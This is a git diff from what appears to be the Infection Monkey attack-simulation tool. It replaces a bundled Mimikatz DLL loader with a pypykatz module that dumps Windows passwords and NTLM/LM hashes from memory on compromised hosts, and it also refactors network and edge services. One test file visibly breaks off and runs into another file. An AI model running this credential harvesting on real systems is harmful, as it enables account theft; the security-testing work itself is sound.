diff --git a/deployment_scripts/config.ps1 b/deployment_scripts/config.ps1 index b18b7c63c..e835ad633 100644 --- a/deployment_scripts/config.ps1 +++ b/deployment_scripts/config.ps1 @@ -29,8 +29,6 @@ $TRACEROUTE_32_BINARY_URL = $MONKEY_DOWNLOAD_URL + "traceroute32" $MONKEY_ISLAND_DIR = Join-Path "\monkey" -ChildPath "monkey_island" $MONKEY_DIR = Join-Path "\monkey" -ChildPath "infection_monkey" $SAMBA_BINARIES_DIR = Join-Path -Path $MONKEY_DIR -ChildPath "\bin" -$MK32_DLL = "mk32.zip" -$MK64_DLL = "mk64.zip" $TEMP_PYTHON_INSTALLER = ".\python.exe" $TEMP_MONGODB_ZIP = ".\mongodb.zip" $TEMP_OPEN_SSL_ZIP = ".\openssl.zip" @@ -44,6 +42,4 @@ $MONGODB_URL = "https://downloads.mongodb.org/win32/mongodb-win32-x86_64-2012plu $OPEN_SSL_URL = "https://indy.fulgan.com/SSL/openssl-1.0.2u-x64_86-win64.zip" $CPP_URL = "https://go.microsoft.com/fwlink/?LinkId=746572" $NPM_URL = "https://nodejs.org/dist/v12.14.1/node-v12.14.1-x64.msi" -$MK32_DLL_URL = "https://github.com/guardicore/mimikatz/releases/download/1.1.0/mk32.zip" -$MK64_DLL_URL = "https://github.com/guardicore/mimikatz/releases/download/1.1.0/mk64.zip" $UPX_URL = "https://github.com/upx/upx/releases/download/v3.96/upx-3.96-win64.zip" diff --git a/deployment_scripts/deploy_windows.ps1 b/deployment_scripts/deploy_windows.ps1 index 6872f5c3a..3a57e9dcb 100644 --- a/deployment_scripts/deploy_windows.ps1 +++ b/deployment_scripts/deploy_windows.ps1 @@ -226,20 +226,6 @@ function Deploy-Windows([String] $monkey_home = (Get-Item -Path ".\").FullName, Remove-Item $TEMP_UPX_ZIP } - # Download mimikatz binaries - $mk32_path = Join-Path -Path $binDir -ChildPath $MK32_DLL - if (!(Test-Path -Path $mk32_path)) - { - "Downloading mimikatz 32 binary" - $webClient.DownloadFile($MK32_DLL_URL, $mk32_path) - } - $mk64_path = Join-Path -Path $binDir -ChildPath $MK64_DLL - if (!(Test-Path -Path $mk64_path)) - { - "Downloading mimikatz 64 binary" - $webClient.DownloadFile($MK64_DLL_URL, $mk64_path) - } - # Download sambacry binaries $samba_path = Join-Path -Path $monkey_home -ChildPath $SAMBA_BINARIES_DIR $samba32_path = Join-Path -Path $samba_path -ChildPath $SAMBA_32_BINARY_NAME diff --git a/monkey/common/network/network_utils.py b/monkey/common/network/network_utils.py new file mode 100644 index 000000000..230e494bf --- /dev/null +++ b/monkey/common/network/network_utils.py @@ -0,0 +1,12 @@ +from urllib.parse import urlparse + + +def get_host_from_network_location(network_location: str) -> str: + """ + URL structure is ":///;?#" (https://tools.ietf.org/html/rfc1808.html) + And the net_loc is ":@:" (https://tools.ietf.org/html/rfc1738#section-3.1) + :param network_location: server network location + :return: host part of the network location + """ + url = urlparse("http://" + network_location) + return str(url.hostname) diff --git a/monkey/common/network/test_network_utils.py b/monkey/common/network/test_network_utils.py new file mode 100644 index 000000000..b4194aa27 --- /dev/null +++ b/monkey/common/network/test_network_utils.py @@ -0,0 +1,12 @@ +from unittest import TestCase + +from common.network.network_utils import get_host_from_network_location + + +class TestNetworkUtils(TestCase): + def test_remove_port_from_ip_string(self): + assert get_host_from_network_location("127.0.0.1:12345") == "127.0.0.1" + assert get_host_from_network_location("127.0.0.1:12345") == "127.0.0.1" + assert get_host_from_network_location("127.0.0.1") == "127.0.0.1" + assert get_host_from_network_location("www.google.com:8080") == "www.google.com" + assert get_host_from_network_location("user:password@host:8080") == "host" diff --git a/monkey/common/network/segmentation_utils_test.py b/monkey/common/network/test_segmentation_utils.py similarity index 100% rename from monkey/common/network/segmentation_utils_test.py rename to monkey/common/network/test_segmentation_utils.py diff --git a/monkey/common/version.py b/monkey/common/version.py index fd706d909..f8bac8916 100644 --- a/monkey/common/version.py +++ b/monkey/common/version.py @@ -4,7 +4,7 @@ from pathlib import Path MAJOR = "1" MINOR = "8" -PATCH = "1" +PATCH = "2" build_file_path = Path(__file__).parent.joinpath("BUILD") with open(build_file_path, "r") as build_file: BUILD = build_file.read() diff --git a/monkey/infection_monkey/exploit/wmiexec.py b/monkey/infection_monkey/exploit/wmiexec.py index 2100c23b0..ea2541381 100644 --- a/monkey/infection_monkey/exploit/wmiexec.py +++ b/monkey/infection_monkey/exploit/wmiexec.py @@ -39,9 +39,9 @@ class WmiExploiter(HostExploiter): for user, password, lm_hash, ntlm_hash in creds: password_hashed = self._config.hash_sensitive_data(password) lm_hash_hashed = self._config.hash_sensitive_data(lm_hash) - mtlm_hash_hashed = self._config.hash_sensitive_data(ntlm_hash) + ntlm_hash_hashed = self._config.hash_sensitive_data(ntlm_hash) creds_for_logging = "user, password (SHA-512), lm hash (SHA-512), ntlm hash (SHA-512): " \ - "({},{},{},{})".format(user, password_hashed, lm_hash_hashed, mtlm_hash_hashed) + "({},{},{},{})".format(user, password_hashed, lm_hash_hashed, ntlm_hash_hashed) LOG.debug(("Attempting to connect %r using WMI with " % self.host) + creds_for_logging) wmi_connection = WmiTools.WmiConnection() diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 63df34e42..c45e5c511 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -33,7 +33,7 @@ from infection_monkey.telemetry.attack.t1106_telem import T1106Telem from common.utils.attack_utils import ScanStatus, UsageEnum from common.version import get_version from infection_monkey.exploit.HostExploiter import HostExploiter -from monkey_island.cc.network_utils import remove_port_from_ip_string +from common.network.network_utils import get_host_from_network_location MAX_DEPTH_REACHED_MESSAGE = "Reached max depth, shutting down" @@ -386,7 +386,7 @@ class InfectionMonkey(object): LOG.debug("default server set to: %s" % self._default_server) def is_started_on_island(self): - island_ip = remove_port_from_ip_string(self._default_server) + island_ip = get_host_from_network_location(self._default_server) return is_running_on_server(island_ip) and WormConfiguration.depth == WormConfiguration.max_depth def log_arguments(self): diff --git a/monkey/infection_monkey/monkey.spec b/monkey/infection_monkey/monkey.spec index e5873c9c5..51bd4bb83 100644 --- a/monkey/infection_monkey/monkey.spec +++ b/monkey/infection_monkey/monkey.spec @@ -8,9 +8,6 @@ __author__ = 'itay.mizeretz' block_cipher = None -# Name of zip file in monkey. That's the name of the file in the _MEI folder -MIMIKATZ_ZIP_NAME = 'tmpzipfile123456.zip' - def main(): a = Analysis(['main.py'], @@ -66,7 +63,6 @@ def process_datas(orig_datas): datas = orig_datas if is_windows(): datas = [i for i in datas if i[0].find('Include') < 0] - datas += [(MIMIKATZ_ZIP_NAME, get_mimikatz_zip_path(), 'BINARY')] return datas @@ -118,9 +114,4 @@ def get_exe_icon(): return 'monkey.ico' if is_windows() else None -def get_mimikatz_zip_path(): - mk_filename = 'mk32.zip' if is_32_bit() else 'mk64.zip' - return os.path.join(get_bin_folder(), mk_filename) - - main() # We don't check if __main__ because this isn't the main script. diff --git a/monkey/infection_monkey/readme.md b/monkey/infection_monkey/readme.md index da865c35f..fa192c33e 100644 --- a/monkey/infection_monkey/readme.md +++ b/monkey/infection_monkey/readme.md @@ -7,7 +7,6 @@ The monkey is composed of three separate parts. - The Infection Monkey itself - PyInstaller compressed python archives - Sambacry binaries - Two linux binaries, 32/64 bit. -- Mimikatz binaries - Two windows binaries, 32/64 bit. - Traceroute binaries - Two linux binaries, 32/64bit. ## Windows @@ -28,7 +27,7 @@ The monkey is composed of three separate parts. `pip install -r requirements.txt` 4. Download and extract UPX binary to monkey\infection_monkey\bin\upx.exe: -5. Build/Download Sambacry and Mimikatz binaries +5. Build/Download Sambacry - Build/Download according to sections at the end of this readme. - Place the binaries under monkey\infection_monkey\bin 6. To build the final exe: @@ -83,24 +82,6 @@ Sambacry requires two standalone binaries to execute remotely. - 32bit: - 64bit: -### Mimikatz - -Mimikatz is required for the Monkey to be able to steal credentials on Windows. It's possible to either compile binaries from source (requires Visual Studio 2013 and up) or download them from our repository. - -1. Build Mimikatz yourself - - Building mimikatz requires Visual Studio 2013 and up - - Clone our version of mimikatz from - - Build using Visual Studio. - - Put each version in a zip file - 1. The zip should contain only the Mimikatz DLL named tmpzipfile123456.dll - 2. It should be protected using the password 'VTQpsJPXgZuXhX6x3V84G'. - 3. The zip file should be named mk32.zip/mk64.zip accordingly. - 4. Zipping with 7zip has been tested. Other zipping software may not work. - -2. Download our pre-built mimikatz binaries - - Download both 32 and 64 bit zipped DLLs from - - Place them under [code location]\infection_monkey\bin - ### Traceroute Traceroute requires two standalone binaries to execute remotely. diff --git a/monkey/infection_monkey/requirements.txt b/monkey/infection_monkey/requirements.txt index 7cbb5369f..dd4addcbd 100644 --- a/monkey/infection_monkey/requirements.txt +++ b/monkey/infection_monkey/requirements.txt @@ -17,3 +17,4 @@ wmi==1.4.9 ; sys_platform == 'win32' pymssql<3.0 pyftpdlib WinSys-3.x +pypykatz diff --git a/monkey/infection_monkey/system_info/__init__.py b/monkey/infection_monkey/system_info/__init__.py index 76bc40eb6..c619094b5 100644 --- a/monkey/infection_monkey/system_info/__init__.py +++ b/monkey/infection_monkey/system_info/__init__.py @@ -105,6 +105,7 @@ class InfoCollector(object): # we might be losing passwords in case of multiple reset attempts on same username # or in case another collector already filled in a password for this user self.info["credentials"][username]['password'] = password + self.info["credentials"][username]['username'] = username if len(azure_creds) != 0: self.info["Azure"] = {} self.info["Azure"]['usernames'] = [cred[0] for cred in azure_creds] diff --git a/monkey/infection_monkey/system_info/mimikatz_collector.py b/monkey/infection_monkey/system_info/mimikatz_collector.py deleted file mode 100644 index 8b62217cc..000000000 --- a/monkey/infection_monkey/system_info/mimikatz_collector.py +++ /dev/null @@ -1,129 +0,0 @@ -import binascii -import ctypes -import logging -import socket -import zipfile - -import infection_monkey.config -from common.utils.attack_utils import ScanStatus, UsageEnum -from infection_monkey.telemetry.attack.t1129_telem import T1129Telem -from infection_monkey.telemetry.attack.t1106_telem import T1106Telem -from infection_monkey.pyinstaller_utils import get_binary_file_path, get_binaries_dir_path - -__author__ = 'itay.mizeretz' - -LOG = logging.getLogger(__name__) - - -class MimikatzCollector(object): - """ - Password collection module for Windows using Mimikatz. - """ - - # Name of Mimikatz DLL. Must be name of file in Mimikatz zip. - MIMIKATZ_DLL_NAME = 'tmpzipfile123456.dll' - - # Name of ZIP containing Mimikatz. Must be identical to one on monkey.spec - MIMIKATZ_ZIP_NAME = 'tmpzipfile123456.zip' - - # Password to Mimikatz zip file - MIMIKATZ_ZIP_PASSWORD = b'VTQpsJPXgZuXhX6x3V84G' - - def __init__(self): - self._config = infection_monkey.config.WormConfiguration - self._isInit = False - self._dll = None - self._collect = None - self._get = None - self.init_mimikatz() - - def init_mimikatz(self): - try: - with zipfile.ZipFile(get_binary_file_path(MimikatzCollector.MIMIKATZ_ZIP_NAME), 'r') as mimikatz_zip: - mimikatz_zip.extract(self.MIMIKATZ_DLL_NAME, path=get_binaries_dir_path(), - pwd=self.MIMIKATZ_ZIP_PASSWORD) - - self._dll = ctypes.WinDLL(get_binary_file_path(self.MIMIKATZ_DLL_NAME)) - collect_proto = ctypes.WINFUNCTYPE(ctypes.c_int) - get_proto = ctypes.WINFUNCTYPE(MimikatzCollector.LogonData) - get_text_output_proto = ctypes.WINFUNCTYPE(ctypes.c_wchar_p) - self._collect = collect_proto(("collect", self._dll)) - self._get = get_proto(("get", self._dll)) - self._get_text_output_proto = get_text_output_proto(("getTextOutput", self._dll)) - self._isInit = True - status = ScanStatus.USED - except Exception: - LOG.exception("Error initializing mimikatz collector") - status = ScanStatus.SCANNED - T1106Telem(status, UsageEnum.MIMIKATZ_WINAPI).send() - T1129Telem(status, UsageEnum.MIMIKATZ).send() - - def get_logon_info(self): - """ - Gets the logon info from mimikatz. - Returns a dictionary of users with their known credentials. - """ - LOG.info('Getting mimikatz logon information') - if not self._isInit: - return {} - LOG.debug("Running mimikatz collector") - - try: - entry_count = self._collect() - - logon_data_dictionary = {} - hostname = socket.gethostname() - - self.mimikatz_text = self._get_text_output_proto() - - for i in range(entry_count): - entry = self._get() - username = entry.username - - password = entry.password - lm_hash = binascii.hexlify(bytearray(entry.lm_hash)).decode() - ntlm_hash = binascii.hexlify(bytearray(entry.ntlm_hash)).decode() - - if 0 == len(password): - has_password = False - elif (username[-1] == '$') and (hostname.lower() == username[0:-1].lower()): - # Don't save the password of the host domain user (HOSTNAME$) - has_password = False - else: - has_password = True - - has_lm = ("00000000000000000000000000000000" != lm_hash) - has_ntlm = ("00000000000000000000000000000000" != ntlm_hash) - - if username not in logon_data_dictionary: - logon_data_dictionary[username] = {} - if has_password: - logon_data_dictionary[username]["password"] = password - if has_lm: - logon_data_dictionary[username]["lm_hash"] = lm_hash - if has_ntlm: - logon_data_dictionary[username]["ntlm_hash"] = ntlm_hash - - return logon_data_dictionary - except Exception: - LOG.exception("Error getting logon info") - return {} - - def get_mimikatz_text(self): - return self.mimikatz_text - - class LogonData(ctypes.Structure): - """ - Logon data structure returned from mimikatz. - """ - - WINDOWS_MAX_USERNAME_PASS_LENGTH = 257 - LM_NTLM_HASH_LENGTH = 16 - - _fields_ = \ - [ - ("username", ctypes.c_wchar * WINDOWS_MAX_USERNAME_PASS_LENGTH), - ("password", ctypes.c_wchar * WINDOWS_MAX_USERNAME_PASS_LENGTH), - ("lm_hash", ctypes.c_byte * LM_NTLM_HASH_LENGTH), - ("ntlm_hash", ctypes.c_byte * LM_NTLM_HASH_LENGTH) - ] diff --git a/monkey/infection_monkey/system_info/windows_cred_collector/__init__.py b/monkey/infection_monkey/system_info/windows_cred_collector/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/monkey/infection_monkey/system_info/windows_cred_collector/mimikatz_cred_collector.py b/monkey/infection_monkey/system_info/windows_cred_collector/mimikatz_cred_collector.py new file mode 100644 index 000000000..96d3912e3 --- /dev/null +++ b/monkey/infection_monkey/system_info/windows_cred_collector/mimikatz_cred_collector.py @@ -0,0 +1,25 @@ +import logging +from typing import List + +from infection_monkey.system_info.windows_cred_collector import pypykatz_handler +from infection_monkey.system_info.windows_cred_collector.windows_credentials import WindowsCredentials + +LOG = logging.getLogger(__name__) + + +class MimikatzCredentialCollector(object): + + @staticmethod + def get_creds(): + creds = pypykatz_handler.get_windows_creds() + return MimikatzCredentialCollector.cred_list_to_cred_dict(creds) + + @staticmethod + def cred_list_to_cred_dict(creds: List[WindowsCredentials]): + cred_dict = {} + for cred in creds: + # Lets not use "." and "$" in keys, because it will confuse mongo. + # Ideally we should refactor island not to use a dict and simply parse credential list. + key = cred.username.replace(".", ",").replace("$", "") + cred_dict.update({key: cred.to_dict()}) + return cred_dict diff --git a/monkey/infection_monkey/system_info/windows_cred_collector/pypykatz_handler.py b/monkey/infection_monkey/system_info/windows_cred_collector/pypykatz_handler.py new file mode 100644 index 000000000..7688c8643 --- /dev/null +++ b/monkey/infection_monkey/system_info/windows_cred_collector/pypykatz_handler.py @@ -0,0 +1,72 @@ +import binascii +from typing import Dict, List, NewType, Any + +from pypykatz.pypykatz import pypykatz + +from infection_monkey.system_info.windows_cred_collector.windows_credentials import WindowsCredentials + +CREDENTIAL_TYPES = ['msv_creds', 'wdigest_creds', 'ssp_creds', 'livessp_creds', 'dpapi_creds', + 'kerberos_creds', 'credman_creds', 'tspkg_creds'] +PypykatzCredential = NewType('PypykatzCredential', Dict) + +def get_windows_creds() -> List[WindowsCredentials]: + pypy_handle = pypykatz.go_live() + logon_data = pypy_handle.to_dict() + windows_creds = _parse_pypykatz_results(logon_data) + return windows_creds + + +def _parse_pypykatz_results(pypykatz_data: Dict) -> List[WindowsCredentials]: + windows_creds = [] + for session in pypykatz_data['logon_sessions'].values(): + windows_creds.extend(_get_creds_from_pypykatz_session(session)) + return windows_creds + + +def _get_creds_from_pypykatz_session(pypykatz_session: Dict) -> List[WindowsCredentials]: + windows_creds = [] + for cred_type_key in CREDENTIAL_TYPES: + pypykatz_creds = pypykatz_session[cred_type_key] + windows_creds.extend(_get_creds_from_pypykatz_creds(pypykatz_creds)) + return windows_creds + + +def _get_creds_from_pypykatz_creds(pypykatz_creds: List[PypykatzCredential]) -> List[WindowsCredentials]: + creds = _filter_empty_creds(pypykatz_creds) + return [_get_windows_cred(cred) for cred in creds] + + +def _filter_empty_creds(pypykatz_creds: List[PypykatzCredential]) -> List[PypykatzCredential]: + return [cred for cred in pypykatz_creds if not _is_cred_empty(cred)] + + +def _is_cred_empty(pypykatz_cred: PypykatzCredential): + password_empty = 'password' not in pypykatz_cred or not pypykatz_cred['password'] + ntlm_hash_empty = 'NThash' not in pypykatz_cred or not pypykatz_cred['NThash'] + lm_hash_empty = 'LMhash' not in pypykatz_cred or not pypykatz_cred['LMhash'] + return password_empty and ntlm_hash_empty and lm_hash_empty + + +def _get_windows_cred(pypykatz_cred: PypykatzCredential): + password = '' + ntlm_hash = '' + lm_hash = '' + username = pypykatz_cred['username'] + if 'password' in pypykatz_cred: + password = pypykatz_cred['password'] + if 'NThash' in pypykatz_cred: + ntlm_hash = _hash_to_string(pypykatz_cred['NThash']) + if 'LMhash' in pypykatz_cred: + lm_hash = _hash_to_string(pypykatz_cred['LMhash']) + return WindowsCredentials(username=username, + password=password, + ntlm_hash=ntlm_hash, + lm_hash=lm_hash) + + +def _hash_to_string(hash_: Any): + if type(hash_) == str: + return hash_ + if type(hash_) == bytes: + return binascii.hexlify(bytearray(hash_)).decode() + raise Exception(f"Can't convert hash_ to string, unsupported hash_ type {type(hash_)}") diff --git a/monkey/infection_monkey/system_info/windows_cred_collector/test_pypykatz_handler.py b/monkey/infection_monkey/system_info/windows_cred_collector/test_pypykatz_handler.py new file mode 100644 index 000000000..b0ae2d751 --- /dev/null +++ b/monkey/infection_monkey/system_info/windows_cred_collector/test_pypykatz_handler.py @@ -0,0 +1,83 @@ +from unittest import TestCase + +from infection_monkey.system_info.windows_cred_collector.pypykatz_handler import _get_creds_from_pypykatz_session + + +class TestPypykatzHandler(TestCase): + # Made up credentials, but structure of dict should be roughly the same + PYPYKATZ_SESSION = { + 'authentication_id': 555555, 'session_id': 3, 'username': 'Monkey', + 'domainname': 'ReAlDoMaIn', 'logon_server': 'ReAlDoMaIn', + 'logon_time': '2020-06-02T04:53:45.256562+00:00', + 'sid': 'S-1-6-25-260123139-3611579848-5589493929-3021', 'luid': 123086, + 'msv_creds': [ + {'username': 'monkey', 'domainname': 'ReAlDoMaIn', + 'NThash': b'1\xb7 Dict: + return {'username': self.username, + 'password': self.password, + 'ntlm_hash': self.ntlm_hash, + 'lm_hash': self.lm_hash} diff --git a/monkey/infection_monkey/system_info/windows_info_collector.py b/monkey/infection_monkey/system_info/windows_info_collector.py index 857b42303..13f0a5593 100644 --- a/monkey/infection_monkey/system_info/windows_info_collector.py +++ b/monkey/infection_monkey/system_info/windows_info_collector.py @@ -2,12 +2,12 @@ import os import logging import sys +from infection_monkey.system_info.windows_cred_collector.mimikatz_cred_collector import MimikatzCredentialCollector + sys.coinit_flags = 0 # needed for proper destruction of the wmi python module # noinspection PyPep8 import infection_monkey.config # noinspection PyPep8 -from infection_monkey.system_info.mimikatz_collector import MimikatzCollector -# noinspection PyPep8 from infection_monkey.system_info import InfoCollector # noinspection PyPep8 from infection_monkey.system_info.wmi_consts import WMI_CLASSES @@ -61,12 +61,15 @@ class WindowsInfoCollector(InfoCollector): LOG.debug('finished get_wmi_info') def get_mimikatz_info(self): - mimikatz_collector = MimikatzCollector() - mimikatz_info = mimikatz_collector.get_logon_info() - if mimikatz_info: - if "credentials" in self.info: - self.info["credentials"].update(mimikatz_info) - self.info["mimikatz"] = mimikatz_collector.get_mimikatz_text() - LOG.info('Mimikatz info gathered successfully') - else: - LOG.info('No mimikatz info was gathered') + LOG.info("Gathering mimikatz info") + try: + credentials = MimikatzCredentialCollector.get_creds() + if credentials: + if "credentials" in self.info: + self.info["credentials"].update(credentials) + self.info["mimikatz"] = credentials + LOG.info('Mimikatz info gathered successfully') + else: + LOG.info('No mimikatz info was gathered') + except Exception as e: + LOG.info(f"Mimikatz credential collector failed: {e}") diff --git a/monkey/monkey_island/cc/bootloader_server.py b/monkey/monkey_island/cc/bootloader_server.py index b1f7ec484..30196ff34 100644 --- a/monkey/monkey_island/cc/bootloader_server.py +++ b/monkey/monkey_island/cc/bootloader_server.py @@ -29,7 +29,8 @@ class BootloaderHTTPRequestHandler(BaseHTTPRequestHandler): post_data = self.rfile.read(content_length).decode() island_server_path = BootloaderHTTPRequestHandler.get_bootloader_resource_url(self.request.getsockname()[0]) island_server_path = parse.urljoin(island_server_path, self.path[1:]) - # The island server doesn't always have a correct SSL cert installed (By default it comes with a self signed one), + # The island server doesn't always have a correct SSL cert installed + # (By default it comes with a self signed one), # that's why we're not verifying the cert in this request. r = requests.post(url=island_server_path, data=post_data, verify=False) # noqa: DUO123 diff --git a/monkey/monkey_island/cc/models/edge.py b/monkey/monkey_island/cc/models/edge.py new file mode 100644 index 000000000..09af04680 --- /dev/null +++ b/monkey/monkey_island/cc/models/edge.py @@ -0,0 +1,19 @@ +from mongoengine import Document, ObjectIdField, ListField, DynamicField, BooleanField, StringField + + +class Edge(Document): + + meta = {'allow_inheritance': True} + + # SCHEMA + src_node_id = ObjectIdField(required=True) + dst_node_id = ObjectIdField(required=True) + scans = ListField(DynamicField(), default=[]) + exploits = ListField(DynamicField(), default=[]) + tunnel = BooleanField(default=False) + exploited = BooleanField(default=False) + src_label = StringField() + dst_label = StringField() + group = StringField() + domain_name = StringField() + ip_address = StringField() diff --git a/monkey/monkey_island/cc/network_utils.py b/monkey/monkey_island/cc/network_utils.py index 903485723..d399d4255 100644 --- a/monkey/monkey_island/cc/network_utils.py +++ b/monkey/monkey_island/cc/network_utils.py @@ -5,7 +5,6 @@ import socket import struct import sys from typing import List -from urllib.parse import urlparse from netifaces import interfaces, ifaddresses, AF_INET from ring import lru @@ -86,8 +85,3 @@ def get_subnets(): ] ) return subnets - - -def remove_port_from_ip_string(ip_string: str) -> str: - url = urlparse("http://" + ip_string) - return str(url.hostname) diff --git a/monkey/monkey_island/cc/resources/edge.py b/monkey/monkey_island/cc/resources/edge.py index f3ce94ee3..3d284e82c 100644 --- a/monkey/monkey_island/cc/resources/edge.py +++ b/monkey/monkey_island/cc/resources/edge.py @@ -1,7 +1,7 @@ -from flask import request import flask_restful +from flask import request -from monkey_island.cc.services.edge import EdgeService +from monkey_island.cc.services.edge.displayed_edge import DisplayedEdgeService __author__ = 'Barak' @@ -9,7 +9,8 @@ __author__ = 'Barak' class Edge(flask_restful.Resource): def get(self): edge_id = request.args.get('id') + displayed_edge = DisplayedEdgeService.get_displayed_edge_by_id(edge_id) if edge_id: - return {"edge": EdgeService.get_displayed_edge_by_id(edge_id)} + return {"edge": displayed_edge} return {} diff --git a/monkey/monkey_island/cc/resources/monkey.py b/monkey/monkey_island/cc/resources/monkey.py index 181ce94b2..a39aaf199 100644 --- a/monkey/monkey_island/cc/resources/monkey.py +++ b/monkey/monkey_island/cc/resources/monkey.py @@ -3,6 +3,7 @@ from datetime import datetime import dateutil.parser import flask_restful + from monkey_island.cc.resources.test.utils.telem_store import TestTelemStore from flask import request @@ -10,6 +11,7 @@ from monkey_island.cc.consts import DEFAULT_MONKEY_TTL_EXPIRY_DURATION_IN_SECOND from monkey_island.cc.database import mongo from monkey_island.cc.models.monkey_ttl import create_monkey_ttl_document from monkey_island.cc.services.config import ConfigService +from monkey_island.cc.services.edge.edge import EdgeService from monkey_island.cc.services.node import NodeService __author__ = 'Barak' @@ -86,7 +88,8 @@ class Monkey(flask_restful.Resource): parent_to_add = (monkey_json.get('guid'), None) # default values in case of manual run if parent and parent != monkey_json.get('guid'): # current parent is known exploit_telem = [x for x in - mongo.db.telemetry.find({'telem_category': {'$eq': 'exploit'}, 'data.result': {'$eq': True}, + mongo.db.telemetry.find({'telem_category': {'$eq': 'exploit'}, + 'data.result': {'$eq': True}, 'data.machine.ip_addr': {'$in': monkey_json['ip_addresses']}, 'monkey_guid': {'$eq': parent}})] if 1 == len(exploit_telem): @@ -95,7 +98,8 @@ class Monkey(flask_restful.Resource): parent_to_add = (parent, None) elif (not parent or parent == monkey_json.get('guid')) and 'ip_addresses' in monkey_json: exploit_telem = [x for x in - mongo.db.telemetry.find({'telem_category': {'$eq': 'exploit'}, 'data.result': {'$eq': True}, + mongo.db.telemetry.find({'telem_category': {'$eq': 'exploit'}, + 'data.result': {'$eq': True}, 'data.machine.ip_addr': {'$in': monkey_json['ip_addresses']}})] if 1 == len(exploit_telem): @@ -129,8 +133,8 @@ class Monkey(flask_restful.Resource): if existing_node: node_id = existing_node["_id"] - for edge in mongo.db.edge.find({"to": node_id}): - mongo.db.edge.update({"_id": edge["_id"]}, {"$set": {"to": new_monkey_id}}) + EdgeService.update_all_dst_nodes(old_dst_node_id=node_id, + new_dst_node_id=new_monkey_id) for creds in existing_node['creds']: NodeService.add_credentials_to_monkey(new_monkey_id, creds) mongo.db.node.remove({"_id": node_id}) diff --git a/monkey/monkey_island/cc/resources/netmap.py b/monkey/monkey_island/cc/resources/netmap.py index 221a8c60a..3b2c4c12e 100644 --- a/monkey/monkey_island/cc/resources/netmap.py +++ b/monkey/monkey_island/cc/resources/netmap.py @@ -1,9 +1,8 @@ import flask_restful -from monkey_island.cc.resources.auth.auth import jwt_required -from monkey_island.cc.services.edge import EdgeService -from monkey_island.cc.services.node import NodeService -from monkey_island.cc.database import mongo +from monkey_island.cc.auth import jwt_required +from monkey_island.cc.services.netmap.net_edge import NetEdgeService +from monkey_island.cc.services.netmap.net_node import NetNodeService __author__ = 'Barak' @@ -11,19 +10,11 @@ __author__ = 'Barak' class NetMap(flask_restful.Resource): @jwt_required() def get(self, **kw): - monkeys = [NodeService.monkey_to_net_node(x) for x in mongo.db.monkey.find({})] - nodes = [NodeService.node_to_net_node(x) for x in mongo.db.node.find({})] - edges = [EdgeService.edge_to_net_edge(x) for x in mongo.db.edge.find({})] - - if NodeService.get_monkey_island_monkey() is None: - monkey_island = [NodeService.get_monkey_island_pseudo_net_node()] - edges += EdgeService.get_monkey_island_pseudo_edges() - else: - monkey_island = [] - edges += EdgeService.get_infected_monkey_island_pseudo_edges() + net_nodes = NetNodeService.get_all_net_nodes() + net_edges = NetEdgeService.get_all_net_edges() return \ { - "nodes": monkeys + nodes + monkey_island, - "edges": edges + "nodes": net_nodes, + "edges": net_edges } diff --git a/monkey/monkey_island/cc/resources/test/clear_caches.py b/monkey/monkey_island/cc/resources/test/clear_caches.py index 525841803..b2f23de0a 100644 --- a/monkey/monkey_island/cc/resources/test/clear_caches.py +++ b/monkey/monkey_island/cc/resources/test/clear_caches.py @@ -13,8 +13,8 @@ logger = logging.getLogger(__name__) class ClearCaches(flask_restful.Resource): """ - Used for timing tests - we want to get actual execution time of functions in BlackBox without caching - so we use this - to clear the caches. + Used for timing tests - we want to get actual execution time of functions in BlackBox without caching - + so we use this to clear the caches. :note: DO NOT CALL THIS IN PRODUCTION CODE as this will slow down the user experience. """ @jwt_required() diff --git a/monkey/monkey_island/cc/services/attack/attack_schema.py b/monkey/monkey_island/cc/services/attack/attack_schema.py index 3c3a451f2..177dc9eaa 100644 --- a/monkey/monkey_island/cc/services/attack/attack_schema.py +++ b/monkey/monkey_island/cc/services/attack/attack_schema.py @@ -78,7 +78,7 @@ SCHEMA = { "necessary": False, "link": "https://attack.mitre.org/techniques/T1136", "description": "Adversaries with a sufficient level of access " - "may create a local system, domain, or cloud tenant account." + "may create a local system, domain, or cloud tenant account." } } }, diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1082.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1082.py index cdbdb42ec..c80a3d476 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1082.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1082.py @@ -23,7 +23,8 @@ class T1082(AttackTechnique): 'collections': [ {'used': {'$and': [{'$ifNull': ['$netstat', False]}, {'$gt': ['$aws', {}]}]}, 'name': {'$literal': 'Amazon Web Services info'}}, - {'used': {'$and': [{'$ifNull': ['$process_list', False]}, {'$gt': ['$process_list', {}]}]}, + {'used': {'$and': [{'$ifNull': ['$process_list', False]}, + {'$gt': ['$process_list', {}]}]}, 'name': {'$literal': 'Running process list'}}, {'used': {'$and': [{'$ifNull': ['$netstat', False]}, {'$ne': ['$netstat', []]}]}, 'name': {'$literal': 'Network connections'}}, diff --git a/monkey/monkey_island/cc/services/edge.py b/monkey/monkey_island/cc/services/edge.py deleted file mode 100644 index cd4ef737b..000000000 --- a/monkey/monkey_island/cc/services/edge.py +++ /dev/null @@ -1,173 +0,0 @@ -from bson import ObjectId - -from monkey_island.cc.database import mongo -import monkey_island.cc.services.node -from monkey_island.cc.models.monkey import Monkey, MonkeyNotFoundError - -__author__ = "itay.mizeretz" - - -class EdgeService: - def __init__(self): - pass - - @staticmethod - def get_displayed_edge_by_id(edge_id, for_report=False): - edge = mongo.db.edge.find({"_id": ObjectId(edge_id)})[0] - return EdgeService.edge_to_displayed_edge(edge, for_report) - - @staticmethod - def get_displayed_edges_by_to(to, for_report=False): - edges = mongo.db.edge.find({"to": ObjectId(to)}) - return [EdgeService.edge_to_displayed_edge(edge, for_report) for edge in edges] - - @staticmethod - def edge_to_displayed_edge(edge, for_report=False): - services = [] - os = {} - - if len(edge["scans"]) > 0: - services = EdgeService.services_to_displayed_services(edge["scans"][-1]["data"]["services"], for_report) - os = edge["scans"][-1]["data"]["os"] - - displayed_edge = EdgeService.edge_to_net_edge(edge) - - displayed_edge["ip_address"] = edge["ip_address"] - displayed_edge["services"] = services - displayed_edge["os"] = os - displayed_edge["exploits"] = edge['exploits'] - displayed_edge["_label"] = EdgeService.get_edge_label(displayed_edge) - 